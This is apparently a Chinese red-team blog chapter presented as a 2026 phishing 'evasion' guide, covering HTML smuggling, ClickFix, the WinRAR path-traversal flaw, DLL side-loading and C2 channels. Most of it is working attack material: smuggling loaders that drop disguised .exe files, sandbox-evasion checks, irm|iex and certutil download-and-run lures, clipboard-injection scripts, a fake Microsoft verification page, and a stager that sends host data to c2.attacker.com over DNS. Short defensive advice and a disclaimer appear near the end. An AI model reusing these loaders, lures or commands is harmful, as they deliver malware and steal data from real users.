文章总结: 本文详细解析了2026年邮件钓鱼免杀技术中的HTMLSmuggling方法,通过将恶意payload编码嵌入HTML文件绕过安全检测,在用户浏览器中还原执行。技术核心包括基础实现、分段走私、内存执行等变种,并分析了其绕过邮件网关、文件特征检测、内容扫描和沙箱的原理。文档结合APT组织实战案例,提供了具体代码示例和检测规避方法。 综合评分: 78 文章分类: 渗透测试,恶意软件,WEB安全,社会工程学,红队
邮件钓鱼免杀完全指南(2026 实战版)五、ClickFix 与 HTML Smuggling
原创
IceByte IceByte
IceByte-Sec
2026年5月19日 22:10 内蒙古
在小说阅读器读本章
去阅读
声明:本文仅供网络安全研究与授权渗透测试参考,严禁用于任何非法活动。所有技术分析均基于公开安全研究与厂商报告。
在上一篇中我们深入拆解了 VHD/ISO/LNK 等传统免杀附件的武器化手法。然而 2025 年以来,攻击者的战场正从”附件投递”快速转向”浏览器端还原”——两种技术在这个新战场上占据了绝对主导地位:ClickFix 与 HTML Smuggling。
Microsoft 官方安全博客于 2025 年 8 月 21 日首次正式分析了 ClickFix 社会工程学技术,将其定义为”诱骗用户自行将恶意命令复制粘贴到终端执行”的攻击手法。KnowBe4 同期数据显示,HTML Smuggling 技术在 2024 年 11 月至 2025 年 2 月间增长了 85.6%。
这两种技术的本质相同:将攻击的执行环节从”用户被动触发”转变为”用户主动参与”,彻底绕过沙箱、AMSI、EDR 等所有基于行为分析的检测手段。
一、HTML Smuggling:客户端还原攻击
1.1 技术原理
HTML Smuggling(HTML 走私)的核心思想极其简洁:将恶意 payload 经过编码后嵌入 HTML 文件内部,邮件安全网关只看到一个普通的 HTML 附件,而真正的恶意代码在用户浏览器中才被还原和执行。
整个过程分为四个阶段:
```
Step 1: 编码嵌入 → 恶意 payload 经 Base64 编码后嵌入 HTML 文件
Step 2: 安全传输 → HTML 附件正常通过邮件安全网关检查
Step 3: 客户端还原 → 用户打开 HTML 后,JavaScript 调用 atob() 解码还原
Step 4: 下载执行 → Blob API 创建对象 URL,触发下载或内存执行

### 1.2 基础实现代码
以下是一个 HTML Smuggling 的基础实现框架(仅展示技术原理,不包含完整 weaponized payload):
<html>
<head><title>Document Viewer</title></head>
<body>
<h3>Document is loading, please wait...</h3>
<script>
// 1. Base64 编码的 payload(此处为示例占位符)
varencodedPayload="BASE64_ENCODED_MALWARE_HERE";
// 2. atob() 解码还原为二进制字符串
varbinaryString=atob(encodedPayload);
// 3. 转换为 Uint8Array
varbytes=newUint8Array(binaryString.length);
for (vari=0; i<binaryString.length; i++) {
bytes[i] =binaryString.charCodeAt(i);
}
// 4. 创建 Blob 对象
varblob=newBlob([bytes], { type: "application/octet-stream" });
// 5. 创建临时下载链接
varurl=URL.createObjectURL(blob);
vara=document.createElement("a");
a.href=url;
a.download="Quarterly_Report_Q4.pdf.exe"; // 伪装文件名
document.body.appendChild(a);
a.click();
// 6. 清理内存中的对象 URL
setTimeout(function() {
URL.revokeObjectURL(url);
document.body.removeChild(a);
}, 100);
</script>
</body>
</html>
**关键 API 调用链**:
| API | 用途 | 检测难度 |
| --- | --- | --- |
| `atob()` | Base64 解码 | 低 — 合法 API,广泛使用 |
| `TextDecoder` | 二进制转文本 | 低 — 浏览器标准 API |
| `Blob()` | 创建内存中的二进制对象 | 低 — 合法 API |
| `URL.createObjectURL()` | 生成 blob:// 临时 URL | 中 — 可通过 DLP 监控 |
| `createElement('a')` | 创建下载链接 | 中 — 自动下载行为 |
### 1.3 进阶技术:分段走私(Chunked Smuggling)
基础的 HTML Smugging 将完整 payload 以一个 Base64 字符串嵌入,容易被先进的 SEG 通过内容长度分析和 Base64 熵值检测识别。分段走私技术将 payload 拆分为多个片段,分散存储在 HTML 的不同位置:
**同步分块变种**:
// 将 payload 拆分为 4 个片段,隐藏在 HTML 的不同属性中
varchunk1=document.getElementById("s1").getAttribute("data-c");
varchunk2=document.querySelector(".s2").dataset.c;
varchunk3=document.getElementById("header").getAttribute("data-v");
varchunk4=document.body.getAttribute("onload").split("'")[1];
// 拼接还原
varfull=chunk1+chunk2+chunk3+chunk4;
varbinary=atob(full);
对应的 HTML 结构:
<spanclass="s2"data-c="IHN5c3RlbQ=="> <!-- chunk 2 -->
<divid="header"data-v="OyBlY2hv"> <!-- chunk 3 -->
<bodyonload="init('J3Bvd2Vyc2hlbGwn')">
**异步分块变种(更难检测)**:
// 通过 fetch 从多个合法 CDN 分段获取 payload
asyncfunctionreassemble() {
consturls= [
'https://cdn.example.com/css/theme.css', // 实际是 Base64 片段
'https://cdn.example.com/js/util.js', // 实际是 Base64 片段
'https://cdn.example.com/img/logo.svg', // 实际是 Base64 片段
];
letchunks= [];
for (leturlofurls) {
letresp=awaitfetch(url);
lettext=awaitresp.text();
// 提取隐藏在文件注释中的 payload 片段
letmatch=text.match(/\/\* ([A-Za-z0-9+/=]+) \*\//);
if (match) chunks.push(match[1]);
}
letfull=chunks.join('');
letbinary=atob(full);
letbytes=newUint8Array(binary.length);
for (leti=0; i<binary.length; i++) {
bytes[i] =binary.charCodeAt(i);
}
letblob=newBlob([bytes], { type: "application/x-msdownload" });
leturl=URL.createObjectURL(blob);
leta=document.createElement('a');
a.href=url;
a.download='update.exe';
a.click();
URL.revokeObjectURL(url);
}
### 1.4 内存执行变种(完全落地免杀)
更高级的变种完全跳过文件落地步骤,直接在浏览器内存中还原 payload 并通过特定技术实现内存执行:
// 使用 WebAssembly 在浏览器沙箱中执行 payload
asyncfunctionmemExec(base64Payload) {
// 1. 解码
varbinaryString=atob(base64Payload);
varbytes=newUint8Array(binaryString.length);
for (vari=0; i<binaryString.length; i++) {
bytes[i] =binaryString.charCodeAt(i);
}
// 2. 编译为 WebAssembly 模块
varmodule=awaitWebAssembly.compile(bytes);
// 3. 实例化执行(受限环境,但可用于信息收集/信标)
varinstance=awaitWebAssembly.instantiate(module);
instance.exports.main();
}
> **注意**:WebAssembly 沙箱对系统级操作有严格限制,主要用于信息收集信标而非完整的恶意执行。真正的内存执行需要配合浏览器漏洞(如 Chrome V8 exploit)才能实现提权。
### 1.5 绕过原理深度分析
HTML Smuggling 为何能绕过几乎所有传统邮件安全检测?从四个检测维度逐一分析:
**邮件网关视角**:
* 看到的是合法的 HTML 文件,MIME 类型为 `text/html`
* 文件内容是标准的 HTML + JavaScript,无恶意文件特征
* Base64 字符串可能是任何内容(CSS 内嵌图片、字体编码等都是合法场景)
**文件特征检测视角**:
* 无恶意文件扩展名(.exe / .dll / .ps1)
* 无已知恶意软件签名
* HTML 文件自身的哈希值每次都不同(payload 变化即哈希变化)
**内容扫描视角**:
* payload 处于编码状态,静态分析无法识别其真实内容
* 分段走私进一步降低了单个片段的熵值,避免触发 Base64 熵值检测
* JavaScript 代码使用的是浏览器标准 API,无法直接判定为恶意
**沙箱执行视角**:
* HTML 需要用户主动在浏览器中打开,邮件网关沙箱通常不渲染完整 HTML
* 即使渲染,缺少用户交互(如点击"下载"按钮)的页面不会触发 payload 还原
* 可通过检测 `navigator.webdriver` 属性来识别并规避自动化沙箱
// 沙箱规避:检测自动化环境
if (navigator.webdriver) {
// 在沙箱中显示正常内容
document.body.innerHTML="<h1>Quarterly Report 2025</h1>";
} else {
// 在真实浏览器中执行走私逻辑
reassemble();
}
### 1.6 实战案例:APT 组织的 HTML Smuggling 应用
**APT41(双尾蝎)**:
* 使用 HTML Smuggling 投递 Cobalt Strike Beacon
* HTML 文件伪装为"COVID-19 疫苗接种通知"
* payload 经过自定义加密 + Base64 双重编码
**Lazarus Group**:
* 2025 年针对金融行业的攻击中,使用 HTML Smuggling 投递远程管理工具
* payload 分为 3 段嵌入 HTML 的 data 属性中
* 还原后通过 certutil 进一步解码执行
**DarkGate Malware**:
* 2025 年大规模钓鱼活动中使用 HTML Smuggling 作为初始投递手段
* 自动化生成工具支持批量定制 HTML 伪装模板
* 与 ClickFix 技术结合使用,形成双重社工诱骗
> **ATT&CK 映射**:T1027.006(HTML Smuggling)→ T1204.002(恶意文件执行)→ T1059.001(PowerShell)→ T1071.001(Web C2)
---
## 二、ClickFix:让用户亲手执行恶意代码
### 2.1 什么是 ClickFix
ClickFix 是一种社会工程学攻击技术,其核心创新在于:**不再让用户点击链接或打开附件,而是诱骗用户自行将恶意命令复制粘贴到系统终端(如 PowerShell)中执行。**
Microsoft 官方安全博客 2025 年 8 月 21 日的分析文章将其定义为:
> "A social engineering technique that deceives users into copying and pasting malicious commands into their terminal, effectively weaponizing the user's own trust in troubleshooting instructions."
**为什么 ClickFix 是 2025 年最重大的钓鱼威胁之一?** 因为它从根本上颠覆了传统的防御假设:
| 传统钓鱼 | ClickFix |
| --- | --- |
| 用户点击链接 → 跳转到恶意页面 | 用户打开页面 → 复制命令 → 粘贴到终端 |
| 防御方可以拦截恶意链接/附件 | 命令来自用户自己的剪贴板 |
| 沙箱可以模拟点击行为 | 用户"主动"在终端执行,绕过行为检测 |
| AMSI/EDR 监控外部程序的执行 | 用户通过合法的 PowerShell 终端执行 |
| DLP 可以检测文件下载 | 命令从可信源(PowerShell Gallery/GitHub)下载 |

### 2.2 六步攻击链详解
**第一步:邮件投递**
攻击者发送精心设计的钓鱼邮件。与传统的"点击链接"钓鱼不同,ClickFix 邮件的内容通常更具欺骗性——它不直接包含恶意链接,而是引导用户访问一个看似正常的网页:
主题: Action Required: Microsoft 365 – Session Verification Needed
发件人: [email protected](伪造)
Dear User,
We detected unusual sign-in activity on your Microsoft 365 account.
To verify your identity and secure your session, please visit:
https://microsoft-verify[.]com/session-check
If you don't verify within 24 hours, your account will be temporarily
suspended for security reasons.
Microsoft Security Team
**第二步:伪造"系统错误"页面**
用户点击链接后,浏览器打开一个精心伪造的页面,模拟系统错误、浏览器更新提示、或 CAPTCHA 验证失败等场景:
┌──────────────────────────────────────┐ │ ⚠️ Verification Failed │ │ │ │ Error Code: 0x80070005 │ │ │ │ Your browser verification has │ │ expired. To resolve this issue, │ │ please follow the steps below: │ │ │ │ Step 1: Open PowerShell │ │ Step 2: Copy the command below │ │ Step 3: Paste and press Enter │ │ │ │ ┌──────────────────────────────┐ │ │ │ irm https://bit.ly/3xxx | │ │ │ │ iex │ │ │ └──────────────────────────────┘ │ │ │ │ [Copy to Clipboard] │ └──────────────────────────────────────┘
**第三步:显示"修复方法"**
页面提供看似合理的技术支持指令,使用紧迫的措辞("系统错误"、"安全验证失败"、"账号将被锁定")制造压力,降低用户的理性判断能力。
关键心理学技巧:
* **权威感**:使用 Microsoft、Google、Apple 等品牌标识
* **紧迫感**:"24小时内不操作将锁定账号"
* **技术术语**:使用错误代码(如 `0x80070005`)增加可信度
* **分步引导**:将操作分解为简单步骤,降低认知负担
**第四步:用户复制粘贴命令**
这是 ClickFix 的核心创新——**用户主动将恶意命令粘贴到 PowerShell 终端执行**。这一步彻底改变了攻击的性质:
从防御系统的角度来看:
* AMSI(反恶意软件扫描接口)会扫描 PowerShell 执行的脚本,但 ClickFix 的命令通常是简短的下载器(如 `irm url | iex`),而真正的恶意 payload 在下载后才出现
* EDR 的行为检测关注的是"异常进程创建"、"可疑命令行参数",但 `Invoke-WebRequest` 和 `Invoke-Expression` 都是合法的管理命令
* 用户"主动"在终端中执行命令,这种行为本身在企业环境中极为常见(IT 运维、开发人员日常操作)
**第五步:从可信源下载脚本**
ClickFix 命令的精妙之处在于,恶意脚本托管在**合法可信的平台**上:
| 可信平台 | 托管方式 | 信任背书 |
| --- | --- | --- |
| PowerShell Gallery | 发布恶意模块 | 微软官方仓库 |
| GitHub / Gist | 仓库/代码片段 | 开发者社区 |
| npm / PyPI | 恶意包 | 生态系统信任 |
| Pastebin / Ghostbin | 文本片段 | 合法工具 |
| Azure Blob Storage | 静态文件托管 | 微软基础设施 |
**典型的 ClickFix PowerShell 命令模式**:
模式 1: 一行下载执行器
irm https://raw.githubusercontent.com/user/repo/main/fix.ps1 | iex
模式 2: 从 PowerShell Gallery 安装恶意模块
Install-Module -Name “SystemDiagnostic” -Scope CurrentUser -Force Import-Module SystemDiagnostic; Invoke-Diagnostic
模式 3: 使用 Start-BitsTransfer 下载
Start-BitsTransfer -Source “https://cdn.example.com/patch.msi” -Destination “$env:TEMP\patch.msi” Start-Process “$env:TEMP\patch.msi”
模式 4: 利用 certutil 下载
certutil -urlcache -split -f https://example.com/payload.dat %TEMP%\payload.dat && %TEMP%\payload.dat
**第六步:恶意载荷上线**
下载执行的脚本通常是轻量级的 Stager(加载器),其功能包括:
1. **信息收集**:系统信息、网络配置、已安装软件列表
2. **持久化**:注册表 Run 键、计划任务、WMI 事件订阅
3. **C2 通信建立**:通过 HTTPS/DNS 隧道连接命令控制服务器
4. **二次加载**:下载并执行完整的 RAT/Stealer payload
典型的 ClickFix Stager 结构(概念性伪代码)
$hostInfo = @{ ComputerName = $env:COMPUTERNAME UserName = $env:USERNAME OS = (Get-CimInstance Win32_OperatingSystem).Caption Domain = $env:USERDOMAIN }
Base64 编码收集的信息
$encoded = [Convert]::ToBase64String( [Text.Encoding]::UTF8.GetBytes(($hostInfo | ConvertTo-Json)) )
通过 DNS 隧道回传(隐蔽 C2 通道)
Resolve-DnsName -Name “$encoded.c2.attacker.com” -Type TXT
> **ATT&CK 映射**:T1566.002(链接钓鱼)→ T1660(诱导用户复制粘贴)→ T1059.001(PowerShell)→ T1105(Ingress Tool Transfer)→ T1071.001(Web C2)
### 2.3 ClickFix Generator:首个自动化工具
2025 年 9 月,Palo Alto Unit 42 研究团队发现了首个 ClickFix 自动化生成工具——**IUAM(ClickFix Generator)**。这一发现标志着 ClickFix 从"手工社会工程"正式升级为"工业化量产"。
IUAM 的核心功能:
┌─────────────────────────────────────────────┐ │ IUAM – ClickFix Generator │ ├─────────────────────────────────────────────┤ │ │ │ [1] 选择页面模板: │ │ ○ Microsoft 验证页面 │ │ ○ Google Chrome 更新 │ │ ○ Apple ID 安全检查 │ │ ○ 自定义模板 │ │ │ │ [2] 选择攻击载荷: │ │ ○ LummaC2 Stealer │ │ ○ RedLine Stealer │ │ ○ AsyncRAT │ │ ○ Custom PS1 / EXE URL │ │ │ │ [3] 配置参数: │ │ C2 Server: [_] │ │ Obfuscation: [None / Basic / Advanced] │ │ Anti-Analysis: [ON] │ │ Sandbox Evasion: [ON] │ │ │ │ [4] 生成: │ │ [Generate HTML Page] [Generate URL] │ │ │ └─────────────────────────────────────────────┘
IUAM 工具的出现意味着:
* **门槛大幅降低**:无需前端开发知识即可生成专业级 ClickFix 页面
* **批量定制**:支持模板化生成,可针对不同目标定制不同的诱骗页面
* **载荷灵活切换**:可在同一个页面上切换不同的恶意载荷
### 2.4 ClickFix 的三大变体
#### 变体一:OneNote + ClickFix
2025 年下半年,攻击者开始将 ClickFix 技术与 OneNote 钓鱼结合。攻击者在 OneNote 文档中嵌入伪造的"修复"按钮,按钮实际上触发的操作是复制恶意 PowerShell 命令到剪贴板:
┌─────────────────────────────────────┐ │ OneNote Document │ │ │ │ Network Connectivity Issue │ │ │ │ Your document requires an update │ │ to load embedded content. │ │ │ │ Please click below to copy the │ │ diagnostic command, then paste │ │ it into PowerShell: │ │ │ │ [🔧 Copy Diagnostic Command] │ ← 实际是嵌入的 VBS 脚本 │ │ │ After running the command, │ │ click “Refresh” to load content. │ │ │ │ [🔄 Refresh Document] │ └─────────────────────────────────────┘
OneNote 中的按钮嵌入使用的是 `onenote://` 协议或直接通过 VBS 脚本操作剪贴板:
‘ 嵌入 OneNote 的 VBS 脚本(概念性代码) Set ws = CreateObject(“WScript.Shell”) Set ie = CreateObject(“InternetExplorer.Application”)
‘ 将恶意命令写入剪贴板 Dim cmd cmd = “Set-ExecutionPolicy Bypass -Scope Process -Force; irm https://raw.githubusercontent.com/attacker/fix/main/repair.ps1 | iex”
Set objHTML = CreateObject(“htmlfile”) objHTML.ParentWindow.ClipboardData.SetData “text”, cmd
‘ 弹出提示框引导用户粘贴 MsgBox “Diagnostic command copied to clipboard!” & vbCrLf & vbCrLf & _ “Please open PowerShell and press Ctrl+V to run.”, _ vbInformation, “Microsoft Support”
#### 变体二:结合虚假服务页面
攻击者注册高度仿冒的域名(如 `booking-verify.com`、`microsoft-secure.net`),构建完整的仿冒服务网站,将 ClickFix 嵌入到看似正常的服务流程中:
**Booking.com 仿冒案例**(2025 年在野发现):
1. 攻击者发送"预订确认"邮件,包含链接指向仿冒的 Booking.com 页面
2. 页面显示"您的预订需要验证,请完成以下安全检查"
3. 页面弹出 CAPTCHA 验证框,但 CAPTCHA 始终"失败"
4. 页面显示"CAPTCHA 验证失败,请运行以下命令完成浏览器修复"
5. 用户粘贴命令后,信息窃取器静默收集浏览器 Cookie、保存的密码、信用卡信息
#### 变体三:浏览器更新弹窗
攻击者通过恶意广告(Malvertising)或 SEO 污染,在用户搜索"浏览器更新"时展示伪造的下载页面:
┌──────────────────────────────────────┐ │ ⚠️ Chrome Outdated │ │ │ │ Your Google Chrome is out of date! │ │ Current version: 119.0.6045.105 │ │ Latest version: 131.0.6778.86 │ │ │ │ For security reasons, please update │ │ immediately. │ │ │ │ Quick Update (Recommended): │ │ 1. Press Win + R │ │ 2. Paste this command: │ │ ┌──────────────────────────────┐ │ │ │ & { irm bit.ly/3xKz9mQ | │ │ │ │ iex } │ │ │ └──────────────────────────────┘ │ │ │ │ [Copy Command] │ └──────────────────────────────────────┘
---
## 三、ClickFix + HTML Smuggling 融合攻击
2025 年下半年开始,高级攻击者将 ClickFix 和 HTML Smuggling 融合使用,形成了目前最难检测的钓鱼攻击链之一。
### 3.1 融合攻击链

┌──────────────────────────────────────────────────────┐ │ 攻击链全景 │ │ │ │ 1. 钓鱼邮件 (HTML 格式) │ │ ↓ │ │ 2. HTML 内嵌 ClickFix 诱骗页面 │ │ – 完全在邮件客户端内渲染 │ │ – 无需用户点击外部链接 │ │ ↓ │ │ 3. “复制修复命令”按钮 → 剪贴板注入 │ │ – JavaScript navigator.clipboard.writeText() │ │ – 或通过视觉欺骗让用户手动复制 │ │ ↓ │ │ 4. 用户粘贴到 PowerShell 执行 │ │ ↓ │ │ 5. PowerShell Stager 从 GitHub 下载 │ │ ↓ │ │ 6. 下载的脚本本身是 HTML Smuggling 页面 │ │ – PowerShell 生成 .html 文件并在浏览器中打开 │ │ – HTML Smuggling 还原最终 payload │ │ ↓ │ │ 7. 最终 payload 内存执行 │ │ – 完全无文件落地(或落地后立即删除) │ │ – 绕过所有磁盘检测 │ │ │ │ ATT&CK: T1566.001 → T1027.006 → T1059.001 → T1071 │ └──────────────────────────────────────────────────────┘
### 3.2 剪贴板注入技术(Clipboard Injection)
ClickFix 的一个关键增强是**自动剪贴板注入**——用户甚至不需要手动选中复制,JavaScript 直接将恶意命令写入剪贴板:
// 方法 1: Clipboard API(现代浏览器,需用户交互触发) document.getElementById(‘copyBtn’).addEventListener(‘click’, async () => { try { const maliciousCmd = ‘Set-ExecutionPolicy Bypass -Scope Process -Force; irm https://bit.ly/fix-chrome-update | iex’; await navigator.clipboard.writeText(maliciousCmd); document.getElementById(‘status’).textContent = ‘Command copied! Open PowerShell and press Ctrl+V’; } catch (err) { // Fallback for older browsers fallbackCopy(maliciousCmd); } });
// 方法 2: Fallback — 创建临时 textarea 并模拟复制 function fallbackCopy(text) { var textarea = document.createElement(“textarea”); textarea.value = text; textarea.style.position = ‘fixed’; textarea.style.opacity = ‘0’; document.body.appendChild(textarea); textarea.select(); document.execCommand(‘copy’); document.body.removeChild(textarea); }
### 3.3 完整的融合攻击 HTML 页面
以下是一个概念性的融合攻击页面(仅展示技术原理):
Microsoft
Security Verification Required
Error Code: 0x800705B4
Your session token has expired. Follow these steps to restore access:
Step 1: Press
Win + X and select
Windows PowerShell (Admin)
Step 2: Copy the command below and paste it into the PowerShell window
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; irm ‘https://raw.githubusercontent.com/microsoft/security-tools/main/Verify-Session.ps1’ | iex
If not resolved within 24 hours, your account will be temporarily suspended.
---
## 四、WinRAR 0day 路径遍历攻击
### 4.1 漏洞概述
在 ClickFix 和 HTML Smuggling 之外,2023-2024 年另一个在野活跃的钓鱼附件攻击方式是利用 **WinRAR 路径遍历漏洞(CVE-2023-38831)**,通过精心构造的 RAR 文件在解压时将恶意文件部署到系统关键位置。
### 4.2 漏洞利用原理
CVE-2023-38831 的核心问题在于 WinRAR 在处理 ZIP 和 RAR 格式的文件名时,未正确验证文件名中包含的路径遍历字符。攻击者可以构造一个包含目录遍历序列的 RAR 文件,使得解压后的文件被放置在预期目录之外:
恶意 RAR 文件结构: ├── contractv2.pdf ← 诱饵文件(正常的 PDF) ├── contractv2.pdf……\ ← 目录遍历 + NTFS ADS AppData\Roaming\Microsoft\Windows\ Start Menu\Programs\Startup\ update.bat ← 实际解压位置:启动文件夹
当用户双击 RAR 文件中的 `contract_v2.pdf` 时,WinRAR 同时在后台执行同名的隐藏文件,该文件实际被解压到 Startup 文件夹中,实现**下次开机自动执行**。
### 4.3 在野利用
* **SideCopy APT**:针对印度政府和国防部门的定向攻击,利用 CVE-2023-38831 投递 Fileless Stealer
* **RomCom 组织**:利用该漏洞投递后门程序,攻击乌克兰和北约相关目标
* **VB2024 学术论文**:完整分析了 SideCopy 利用 WinRAR 0day 的攻击链
---
## 五、DLL 侧加载钓鱼
### 5.1 攻击原理
DLL 侧加载(DLL Side-Loading)是另一种高度隐蔽的钓鱼免杀技术。攻击者将恶意 DLL 文件与合法的签名 EXE 文件打包在一起,当用户运行"正常"程序时,系统自动从同目录加载恶意 DLL:
用户收到并解压: ├── VPNClientSetup.exe ← 合法签名程序(如:PuTTY、Notepad++) ├── libcrypto.dll ← 恶意 DLL(伪装为加密库) └── README.txt ← 安装说明
当用户运行 `VPN_Client_Setup.exe` 时,Windows 按照以下顺序搜索 DLL:
1. 程序所在目录(**首先命中恶意 DLL**)
2. 系统目录(C:\Windows\System32)
3. Windows 目录(C:\Windows)
4. 当前工作目录
5. PATH 环境变量中的目录
### 5.2 高级场景
**GOLD BLADE 攻击**(2025):
* 攻击者通过 LNK 远程文件执行(`\\attacker\share\tool.exe`)
* 用户访问 SMB 共享后,合法 EXE 自动加载同目录的恶意 DLL
* 整个过程中用户只看到"打开了一个共享文件夹中的工具"
**Cobalt Strike + DLL 侧加载融合攻击**:
* Cobalt Strike Shellcode 编译为恶意 DLL
* 配合合法的 .NET 程序进行侧加载
* EDR 只看到合法进程加载了一个"未签名的 DLL",难以判定为恶意
---
## 六、C2 通道集成:最终上线
### 6.1 Havoc + Microsoft Graph API = FUD C2
在所有免杀技术突破终端防线后,最终的 C2(命令与控制)通信同样需要免杀。2025 年最前沿的方案是利用 Microsoft Graph API 作为 C2 通道:
┌──────────────────────────────────────────────┐ │ Havoc + Graph API 免杀 C2 │ │ │ │ Stager 托管位置: │ │ → SharePoint Online (微软信任基础设施) │ │ │ │ C2 通信通道: │ │ → Microsoft Graph API (HTTPS) │ │ → 正常 Office 365 流量 │ │ → 企业防火墙默认放行 │ │ │ │ 数据外发方式: │ │ → OneDrive 文件同步(窃取的文档) │ │ → Outlook 邮件草稿(C2 指令) │ │ → Teams 消息(备用通道) │ │ │ │ 绕过效果: │ │ ✗ 网络层 DLP 无法检测(加密流量) │ │ ✗ NDR 不报警(正常 Microsoft 流量) │ │ ✗ 防火墙不拦截(企业白名单域名) │ └──────────────────────────────────────────────┘
### 6.2 Sliver C2 免杀方案
Sliver 是一个开源的 C2 框架,在 2025 年成为 Cobalt Strike 的主要替代品(尤其在免杀领域):
**免杀增强策略**:
| 策略 | 说明 | 效果 |
| --- | --- | --- |
| 分阶段 Stager | 先上线轻量级 Implant,按需下载功能模块 | 减少初始载荷体积,降低检测率 |
| Sleep Obfuscation | 在 Beacon Sleep 期间加密内存中的 Implant | 绕过内存扫描 |
| 进程注入 | 注入到合法进程(如 explorer.exe)中执行 | 隐藏恶意进程 |
| DNS/HTTPS 隧道 | 通过 DNS TXT 记录或 HTTPS 与 C2 通信 | 绕过网络检测 |
| .NET 4.0 兼容 | 编译为 .NET Framework 4.0,兼容老旧系统 | 扩大目标范围 |
---
## 七、浏览器侧防御:Chrome 118+ 的安全措施
### 7.1 Chrome 的剪贴板限制
Chrome 118(2023 年 10 月发布)引入了对剪贴板操作的更严格限制:
* `document.execCommand('copy')` 在非用户交互场景中不再生效
* `navigator.clipboard.writeText()` 必须在用户手势(如 click)的回调中调用
* `navigator.clipboard.readText()` 需要用户明确授权
这些限制对 ClickFix 的自动剪贴板注入造成了一定阻碍,但攻击者通过以下方式规避:
1. **利用"复制"按钮的点击事件**:用户主动点击"复制"按钮,满足用户手势要求
2. **视觉欺骗**:将命令预选在 `<div>` 中,引导用户使用 Ctrl+A → Ctrl+C
3. **利用旧版浏览器**:针对仍在使用旧版浏览器(企业环境常见)的用户
### 7.2 Chrome 下载保护
Chrome 的 Safe Browsing 对以下行为进行检测和拦截:
* 从 HTTP(非 HTTPS)源下载可执行文件
* 下载已知恶意文件(基于哈希和机器学习)
* 频繁的 blob:// URL 下载
但 HTML Smuggling 的 blob:// 下载通常只有一次,不足以触发频繁下载的检测规则。
### 7.3 企业防御建议
针对 ClickFix 和 HTML Smuggling 的检测与防御策略:
| 防御层级 | 具体措施 | 检测目标 |
| --- | --- | --- |
| **SEG(邮件网关)** | HTML 附件深度内容扫描 | 检测 Base64 编码的异常长字符串、可疑的 JS 代码模式(atob + Blob + createObjectURL) |
| **EDR(终端防护)** | PowerShell 执行审计 + 脚本块日志记录 | 监控 `Invoke-Expression`、`Invoke-WebRequest | iex` 模式、PowerShell Gallery 可疑模块安装 |
| **DLP(数据防泄漏)** | 剪贴板操作监控 | 检测从浏览器复制到 PowerShell 终端的敏感命令 |
| **网络层** | DNS 过滤 + TLS 检测 | 拦截已知恶意 CDN 域名、检测异常的 GitHub raw 内容下载 |
| **浏览器策略** | Chrome/Edge 企业策略 | 禁止自动剪贴板写入、限制 blob:// URL 下载、启用增强型安全浏览 |
**PowerShell 脚本块日志检测规则(Sysmon + PowerShell)**:
AMSI 检测增强:
现代 AMSI(反恶意软件扫描接口)可以扫描 PowerShell 执行前的脚本内容,但 ClickFix 的命令通常是极简的一行下载器,AMSI 难以判定为恶意。增强检测的关键在于:
- 启用 PowerShell 脚本块日志(Script Block Logging)— 记录所有执行的 PowerShell 代码
- 监控 PowerShell Gallery 模块安装— 异常的模块来源或新注册的发布者
- SIEM 关联分析— 将 PowerShell 执行事件与邮件安全事件关联
- 用户行为基线— 标识”从不使用 PowerShell 的用户突然执行了 PowerShell 命令”的异常
八、总结
ClickFix 和 HTML Smuggling 代表了 2025-2026 年钓鱼攻击的最高水平——它们不依赖于任何已知漏洞、不需要复杂的免杀技术、不需要攻陷任何基础设施。它们利用的是人类行为中最难以通过技术手段防御的一环:信任。
| 技术 | 核心优势 | 检测难度 | 适用场景 | | — | — | — | — | | HTML Smuggling | 无文件特征、客户端还原 | ★★★★☆ | 大规模钓鱼投放 | | ClickFix | 用户主动执行、绕过行为检测 | ★★★★★ | 精准定向攻击 | | 融合攻击 | 多层绕过、高隐蔽性 | ★★★★★ | 高价值目标 | | WinRAR 0day | 自动持久化 | ★★★☆☆ | 特定环境(WinRAR 用户) | | DLL 侧加载 | 签名合法 EXE + 恶意 DLL | ★★★☆☆ | 技术目标 |
在下一篇(本系列的最后一篇)中,我们将从防守视角出发,完整构建企业级邮件钓鱼防御体系——从 SEG 配置到 EDR 规则、从钓鱼演练到事件响应,为安全团队提供可落地的实战方案。
参考链接:
- KnowBe4 2025 Phishing Threat Trends: https://www.knowbe4.com/hubfs/Phishing-Threat-Trends-2025_Report.pdf
- HTML Smuggling 技术原理: https://www.imperva.com/learn/application-security/html-smuggling/
- MITRE T1027.006 HTML Smuggling: https://attack.mitre.org/techniques/T1027/006/
- HtmlSmuggling 工具: https://github.com/abdulkadir-gungor/HtmlSmuggling
- 微软官方 ClickFix 分析 (2025.8.21): https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/
- ClickFix Generator (Palo Alto Unit 42): https://unit42.paloaltonetworks.com/clickfix-generator-first-of-its-kind/
- ClickFix + Booking.com 攻击: https://dailysecurityreview.com/security-spotlight/clickfix-phishing-campaign-targets-booking-com-using-infostealers-and-rats/
- 威胁狩猎:HTML 走私: https://xz.aliyun.com/news/14268
- WinRAR 0day SideCopy APT (VB2024): https://www.virusbulletin.com/uploads/pdf/conference/vb2024/papers/Arming-WinRAR-deep-dive-into-APTs-exploiting-WinRARs-0-day-vulnerability-a-SideCopy-case-study.pdf
- RomCom WinRAR 0day: https://www.welivesecurity.com/en/eset-research/update-winrar-tools-now-romcom-and-others-exploiting-zero-day-vulnerability/
- GOLD BLADE DLL 侧加载: https://partner.gurucul.com/articles/ThreatResearch/GOLD-BLADE-remote-DLL-sideloading-4-8-2025
- Havoc + Graph API FUD C2: https://securitricks.com/attackreports/havoc-sharepoint-with-microsoft-graph-api-turns-into-fud-c2
- Sliver 免杀研究: https://www.freebuf.com/articles/system/444167.html
- Cobalt Strike 钓鱼攻击全流程: https://blog.csdn.net/grass/article/details/155365709
- CS 免杀实践汇总: https://kagty1.github.io/2025/05/30/12%E5%A4%A9-%E4%BB%8E0%E5%BC%80%E5%A7%8B%E7%9A%84%E5%85%8D%E6%9D%80%E5%AD%A6%E4%B9%A0%E6%B1%87%E6%80%BB/
- ClickFix + OneNote 新变种: https://developer.aliyun.com/article/1706552
Ice Byte | 邮件钓鱼免杀完全指南(2026) | 转载请注明出处
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
